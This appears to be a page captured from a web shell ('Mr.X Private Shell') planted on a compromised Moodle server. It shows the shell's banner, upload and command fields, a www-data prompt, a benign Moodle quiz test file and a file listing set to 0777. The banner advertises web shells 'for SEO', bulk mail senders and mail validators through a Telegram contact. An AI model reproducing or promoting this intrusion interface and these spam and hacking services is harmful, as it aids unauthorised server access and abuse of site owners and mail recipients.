__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace mod_quiz;

use core_question\local\bank\question_version_status;
use mod_quiz\external\submit_question_version;
use mod_quiz\question\bank\qbank_helper;

defined('MOODLE_INTERNAL') || die();

require_once(__DIR__ . '/quiz_question_helper_test_trait.php');

/**
 * Qbank helper test for quiz.
 *
 * @package    mod_quiz
 * @category   test
 * @copyright  2021 Catalyst IT Australia Pty Ltd
 * @author     Safat Shahin <safatshahin@catalyst-au.net>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @coversDefaultClass \mod_quiz\question\bank\qbank_helper
 */
final class qbank_helper_test extends \advanced_testcase {
    use \quiz_question_helper_test_trait;

    /**
     * @var \stdClass test student user.
     */
    protected $student;

    /**
     * Called before every test.
     */
    public function setUp(): void {
        global $USER;
        parent::setUp();
        $this->setAdminUser();
        $this->course = $this->getDataGenerator()->create_course();
        $this->student = $this->getDataGenerator()->create_user();
        $this->user = $USER;
    }

    /**
     * Test reference records.
     *
     * @covers ::get_version_options
     */
    public function test_reference_records(): void {
        $this->resetAfterTest();

        $quiz = $this->create_test_quiz($this->course);
        // Test for questions from a different context.
        $context = \context_module::instance($quiz->cmid);

        // Create a couple of questions.
        /** @var \core_question_generator $questiongenerator */
        $questiongenerator = $this->getDataGenerator()->get_plugin_generator('core_question');
        $cat = $questiongenerator->create_question_category(['contextid' => $context->id]);
        $numq = $questiongenerator->create_question('essay', null,
            ['category' => $cat->id, 'name' => 'This is the first version']);

        // Create two version.
        $questiongenerator->update_question($numq, null, ['name' => 'This is the second version']);
        $questiongenerator->update_question($numq, null, ['name' => 'This is the third version']);
        quiz_add_quiz_question($numq->id, $quiz);

        // Create the quiz object.
        $quizobj = \mod_quiz\quiz_settings::create($quiz->id);
        $quizobj->preload_questions();
        $quizobj->load_questions();
        $questions = $quizobj->get_questions();
        $question = reset($questions);
        $structure = structure::create_for_quiz($quizobj);
        $slots = $structure->get_slots();
        $slot = reset($slots);
        $this->assertEquals(3, count(qbank_helper::get_version_options($question->id)));
        $this->assertEquals($question->id, qbank_helper::choose_question_for_redo(
                $quiz->id, $context, $slot->id, new \qubaid_list([])));

        // Create another version.
        $questiongenerator->update_question($numq, null, ['name' => 'This is the latest version']);

        // Change to always latest.
        submit_question_version::execute($slot->id, 0);
        $quizobj->preload_questions();
        $quizobj->load_questions();
        $questions = $quizobj->get_questions();
        $question = reset($questions);
        $this->assertEquals($question->id, qbank_helper::choose_question_for_redo(
                $quiz->id, $context, $slot->id, new \qubaid_list([])));
    }

    /**
     * Test question structure data.
     *
     * @covers ::get_question_structure
     * @covers ::get_always_latest_version_question_ids
     */
    public function test_get_question_structure(): void {
        $this->resetAfterTest();

        // Create a quiz.
        $quiz = $this->create_test_quiz($this->course);
        $quizcontext = \context_module::instance(get_coursemodule_from_instance("quiz", $quiz->id, $this->course->id)->id);

        // Create a question in the quiz question bank.
        /** @var \core_question_generator $questiongenerator */
        $questiongenerator = $this->getDataGenerator()->get_plugin_generator('core_question');
        $cat = $questiongenerator->create_question_category(['contextid' => $quizcontext->id]);
        $q = $questiongenerator->create_question('essay', null,
            ['category' => $cat->id, 'name' => 'This is the first version']);

        // Edit it to create a second and third version.
        $questiongenerator->update_question($q, null, ['name' => 'This is the second version']);
        $finalq = $questiongenerator->update_question($q, null, ['name' => 'This is the third version']);

        // Add the question to the quiz.
        quiz_add_quiz_question($q->id, $quiz);

        // Load the quiz object and check.
        $quizobj = \mod_quiz\quiz_settings::create($quiz->id);
        $quizobj->preload_questions();
        $quizobj->load_questions();
        $questions = $quizobj->get_questions();
        $question = reset($questions);
        $this->assertEquals($finalq->id, $question->id);

        $structure = structure::create_for_quiz($quizobj);
        $slots = $structure->get_slots();
        $slot = reset($slots);
        $this->assertEquals($finalq->id, $slot->questionid);
    }

    /**
     * When a question only has draft versions, we should get those and not a dummy question.
     *
     * @return void
     * @covers ::get_question_structure
     */
    public function test_get_question_structure_with_drafts(): void {
        $this->resetAfterTest();

        // Create a quiz.
        $quiz = $this->create_test_quiz($this->course);
        $quizcontext = \context_module::instance(get_coursemodule_from_instance("quiz", $quiz->id, $this->course->id)->id);

        // Create some questions with drafts in the quiz question bank.
        /** @var \core_question_generator $questiongenerator */
        $questiongenerator = $this->getDataGenerator()->get_plugin_generator('core_question');
        $cat = $questiongenerator->create_question_category(['contextid' => $quizcontext->id]);
        $q1 = $questiongenerator->create_question('essay', null,
                ['category' => $cat->id, 'name' => 'This is q1 the first version']);
        $q2 = $questiongenerator->create_question('essay', null,
                ['category' => $cat->id, 'name' => 'This is q2 the first version',
                        'status' => question_version_status::QUESTION_STATUS_DRAFT]);
        $q3 = $questiongenerator->create_question('essay', null,
                ['category' => $cat->id, 'name' => 'This is q3 the first version',
                        'status' => question_version_status::QUESTION_STATUS_DRAFT]);

        // Create a new draft version of a question.
        $q1final = $questiongenerator->update_question(clone $q1, null,
                ['name' => 'This is q1 the second version', 'status' => question_version_status::QUESTION_STATUS_DRAFT]);
        $q3final = $questiongenerator->update_question(clone $q3, null,
                ['name' => 'This is q3 the second version', 'status' => question_version_status::QUESTION_STATUS_DRAFT]);

        // Add the questions to the quiz.
        quiz_add_quiz_question($q1->id, $quiz);
        quiz_add_quiz_question($q2->id, $quiz);
        quiz_add_quiz_question($q3->id, $quiz);

        // Load the quiz object and check.
        $quizobj = \mod_quiz\quiz_settings::create($quiz->id);
        $quizobj->preload_questions();
        $quizobj->load_questions();
        $questions = $quizobj->get_questions();
        $this->assertCount(3, $questions);
        // When a question has a Ready version, we should get that and not he draft.
        $this->assertTrue(array_key_exists($q1->id, $questions));
        $this->assertFalse(array_key_exists($q1final->id, $questions));
        $this->assertEquals(question_version_status::QUESTION_STATUS_READY, $questions[$q1->id]->status);
        $this->assertEquals('essay', $questions[$q1->id]->qtype);
        // When a question only has a draft, we should get that.
        $this->assertTrue(array_key_exists($q2->id, $questions));
        $this->assertEquals(question_version_status::QUESTION_STATUS_DRAFT, $questions[$q2->id]->status);
        $this->assertEquals('essay', $questions[$q2->id]->qtype);
        // When a question has several versions but all draft, we should get the latest draft.
        $this->assertFalse(array_key_exists($q3->id, $questions));
        $this->assertTrue(array_key_exists($q3final->id, $questions));
        $this->assertEquals(question_version_status::QUESTION_STATUS_DRAFT, $questions[$q3final->id]->status);
        $this->assertEquals('essay', $questions[$q3final->id]->qtype);
    }
}

Filemanager

Name Type Size Permission Actions
backup Folder 0777
behat Folder 0777
classes Folder 0777
event Folder 0777
external Folder 0777
fixtures Folder 0777
generator Folder 0777
local Folder 0777
output Folder 0777
privacy Folder 0777
question Folder 0777
attempt_test.php File 27.6 KB 0777
attempt_walkthrough_from_csv_test.php File 1.23 KB 0777
attempt_walkthrough_test.php File 29.43 KB 0777
attempts_test.php File 40.43 KB 0777
calendar_event_modified_test.php File 18.59 KB 0777
custom_completion_test.php File 21.25 KB 0777
dates_test.php File 7.16 KB 0777
generator_test.php File 5.66 KB 0777
lib_test.php File 43.33 KB 0777
local_structure_slot_random_test.php File 12.15 KB 0777
locallib_test.php File 29.87 KB 0777
notification_helper_test.php File 9.83 KB 0777
privacy_legacy_quizaccess_polyfill_test.php File 6.9 KB 0777
qbank_helper_test.php File 9.08 KB 0777
quiz_notify_attempt_manual_grading_completed_test.php File 11.99 KB 0777
quiz_question_bank_view_test.php File 9.51 KB 0777
quiz_question_helper_test_trait.php File 1019 B 0777
quiz_question_restore_test.php File 27.72 KB 0777
quiz_question_version_test.php File 11.91 KB 0777
quizobj_test.php File 5.24 KB 0777
repaginate_test.php File 10.58 KB 0777
reportlib_test.php File 7.24 KB 0777
restore_attempt_test.php File 4.38 KB 0777
restore_override_test.php File 3.64 KB 0777
structure_test.php File 40.23 KB 0777
tags_test.php File 4.55 KB 0777
Filemanager